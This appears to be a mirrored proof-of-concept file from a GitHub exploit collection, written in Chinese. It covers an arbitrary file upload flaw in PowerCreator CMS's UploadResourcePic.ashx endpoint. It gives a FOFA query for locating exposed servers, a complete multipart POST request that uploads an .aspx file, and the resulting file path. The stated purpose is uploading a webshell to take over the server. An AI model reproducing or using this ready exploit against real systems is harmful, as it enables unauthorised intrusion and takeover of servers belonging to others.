mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
37 lines
1.3 KiB
Markdown
37 lines
1.3 KiB
Markdown
![]() |
## PowerCreator接口UploadResourcePic.ashx存在任意文件上传漏洞
|
|||
|
|
|||
|
PowerCreator接口 UploadResourcePic.ashx存在任意文件上传漏洞。攻击者可利用该漏洞上传webshell,获得服务器权限。
|
|||
|
|
|||
|
## fofa
|
|||
|
|
|||
|
```yaml
|
|||
|
app="PowerCreator-CMS"
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
## poc
|
|||
|
|
|||
|
```yaml
|
|||
|
POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
|
|||
|
Host:
|
|||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.1517.3.1 Ddg/17.3.1
|
|||
|
Connection: close
|
|||
|
Content-Length: 246
|
|||
|
Content-Disposition: form-data;name="file1";filename="poc.aspx";
|
|||
|
Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136
|
|||
|
Accept-Encoding: gzip, deflate
|
|||
|
|
|||
|
-----------------------------20873900192357278038549710136
|
|||
|
Content-Disposition: form-data; name="file1"; filename="111.aspx"
|
|||
|
Content-Type: image/jpeg
|
|||
|
|
|||
|
11111
|
|||
|
-----------------------------20873900192357278038549710136--
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
文件路径 `http://127.0.0.1/ResourcePic/ODM4Mg==.ASPX`
|
|||
|
|
|||
|

|